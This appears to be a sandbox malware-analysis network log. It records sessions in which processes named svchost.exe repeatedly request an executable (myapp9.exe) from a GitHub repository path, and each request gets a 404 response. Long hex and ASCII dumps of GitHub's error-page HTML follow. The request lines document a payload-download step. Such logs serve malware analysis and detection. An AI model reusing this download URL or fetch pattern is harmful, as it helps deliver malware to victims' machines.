2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 32 61 31 65 39 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 65 78 74 2d 65 78 70 61 6e 64 65 72 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 63 64 34 38 32 32 30 64 37 34 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 Data Ascii: 2a1e9d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-cd48220d74d5.js"></script><script crossorigin="a
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 37 64 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 34 62 61 32 30 36 38 39 66 64 66 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 Data Ascii: 7d6.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-4ba20689fdff.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascrip
2024-09-20 10:14:44 UTC	1370	IN	Data Raw: 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 2d 38 39 33 66 39 66 2d 36 63 66 33 33 32 30 34 31 36 62 38 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c Data Ascii: e="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8.js"></script><script crossorigin="anonymous" defer="defer" type="appl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	58635	140.82.121.3	443	8124	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:45 UTC	74	OUT	GET /rootbossko/myfiles/raw/main/myapp9.exe HTTP/1.1 Host: github.com
2024-09-20 10:14:45 UTC	442	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Fri, 20 Sep 2024 10:14:45 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-09-20 10:14:45 UTC	3485	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-09-20 10:14:45 UTC	183	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underline
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 63 6c 6f 75 64 2e 73 33 2e 61 6d 61 7a 6f 6e Data Ascii: s="true" > <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazon
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 37 31 63 64 34 63 63 31 33 32 65 63 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: l" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 20 69 64 3d 22 63 6c 69 65 6e 74 2d 65 6e 76 22 3e 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 22 2c 22 66 65 61 74 75 72 65 46 6c 61 67 73 22 3a 5b 22 63 6f 64 65 5f 76 75 6c 6e 65 72 61 62 69 6c 69 74 79 5f 73 63 61 6e 6e 69 6e 67 22 2c 22 63 6f 70 69 6c 6f 74 5f 61 74 5f 6d 65 6e 74 69 6f 6e 5f 62 75 74 74 6f 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 62 65 74 61 5f 66 65 61 74 75 72 65 73 5f 6f 70 74 5f 69 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 63 6f 6e 76 65 72 73 61 74 69 6f 6e 5f 69 6e 74 65 6e 74 5f 6b 6e 6f 77 6c 65 64 67 65 5f 73 65 61 72 63 68 5f 73 6b 69 6c 6c 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 73 74 61 74 69 63 5f 74 68 72 65 61 64 5f 73 75 67 67 65 73 74 69 6f 6e 73 22 Data Ascii: e="application/json" id="client-env">{"locale":"en","featureFlags":["code_vulnerability_scanning","copilot_at_mention_button","copilot_beta_features_opt_in","copilot_chat_conversation_intent_knowledge_search_skill","copilot_chat_static_thread_suggestions"
2024-09-20 10:14:45 UTC	281	IN	Data Raw: 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6f 64 64 62 69 72 64 5f 70 6f 70 6f 76 65 72 2d 70 6f 6c 79 66 69 6c 6c 5f 64 69 73 74 5f 70 6f 70 6f 76 65 72 5f 6a 73 2d 35 36 37 32 39 63 39 30 35 66 65 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e Data Ascii: /javascript" src="https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 61 72 69 61 6e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 61 72 69 61 4e 6f 74 69 66 79 2d 70 6f 6c 79 66 69 6c 6c 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 2d 32 34 37 30 39 32 2d 62 39 63 37 63 66 33 31 30 37 62 37 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6e 76 69 72 6f 6e 6d 65 6e 74 2d 39 64 38 66 65 39 63 38 36 38 Data Ascii: dules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-9d8fe9c868
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 2d 38 34 31 31 32 32 61 31 65 39 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 65 78 74 2d 65 78 70 61 6e 64 65 72 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 63 64 34 38 32 32 30 64 37 34 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 Data Ascii: -841122a1e9d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_js-cd48220d74d5.js"></script><script crossori
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 61 66 30 38 39 62 37 64 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 34 62 61 32 30 36 38 39 66 64 66 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 Data Ascii: af089b7d6.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-4ba20689fdff.js"></script><script crossorigin="anonymous" defer="defer" type="application/jav
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 2d 38 39 33 66 39 66 2d 36 63 66 33 33 32 30 34 31 36 62 38 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 Data Ascii: r" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8.js"></script><script crossorigin="anonymous" defer="defer" type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	58636	140.82.121.3	443	8188	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:45 UTC	74	OUT	GET /rootbossko/myfiles/raw/main/myapp9.exe HTTP/1.1 Host: github.com
2024-09-20 10:14:45 UTC	442	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Fri, 20 Sep 2024 10:14:45 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-09-20 10:14:45 UTC	3484	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-09-20 10:14:45 UTC	184	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 63 6c 6f 75 64 2e 73 33 2e 61 6d 61 7a 6f 6e 61 Data Ascii: ="true" > <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazona
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 37 31 63 64 34 63 63 31 33 32 65 63 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c Data Ascii: " rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/l
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 20 69 64 3d 22 63 6c 69 65 6e 74 2d 65 6e 76 22 3e 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 22 2c 22 66 65 61 74 75 72 65 46 6c 61 67 73 22 3a 5b 22 63 6f 64 65 5f 76 75 6c 6e 65 72 61 62 69 6c 69 74 79 5f 73 63 61 6e 6e 69 6e 67 22 2c 22 63 6f 70 69 6c 6f 74 5f 61 74 5f 6d 65 6e 74 69 6f 6e 5f 62 75 74 74 6f 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 62 65 74 61 5f 66 65 61 74 75 72 65 73 5f 6f 70 74 5f 69 6e 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 63 6f 6e 76 65 72 73 61 74 69 6f 6e 5f 69 6e 74 65 6e 74 5f 6b 6e 6f 77 6c 65 64 67 65 5f 73 65 61 72 63 68 5f 73 6b 69 6c 6c 22 2c 22 63 6f 70 69 6c 6f 74 5f 63 68 61 74 5f 73 74 61 74 69 63 5f 74 68 72 65 61 64 5f 73 75 67 67 65 73 74 69 6f 6e 73 22 2c Data Ascii: ="application/json" id="client-env">{"locale":"en","featureFlags":["code_vulnerability_scanning","copilot_at_mention_button","copilot_beta_features_opt_in","copilot_chat_conversation_intent_knowledge_search_skill","copilot_chat_static_thread_suggestions",
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6f 64 64 62 69 72 64 5f 70 6f 70 6f 76 65 72 2d 70 6f 6c 79 66 69 6c 6c 5f 64 69 73 74 5f 70 6f 70 6f 76 65 72 5f 6a 73 2d 35 36 37 32 39 63 39 30 35 66 65 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 Data Ascii: javascript" src="https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.c
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 2d 63 38 66 38 31 62 2d 61 61 65 37 37 34 33 37 31 34 33 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 61 75 74 6f 2d 63 6f 6d 70 6c 65 74 65 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 Data Ascii: node_modules_github_combo-c8f81b-aae774371435.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_module
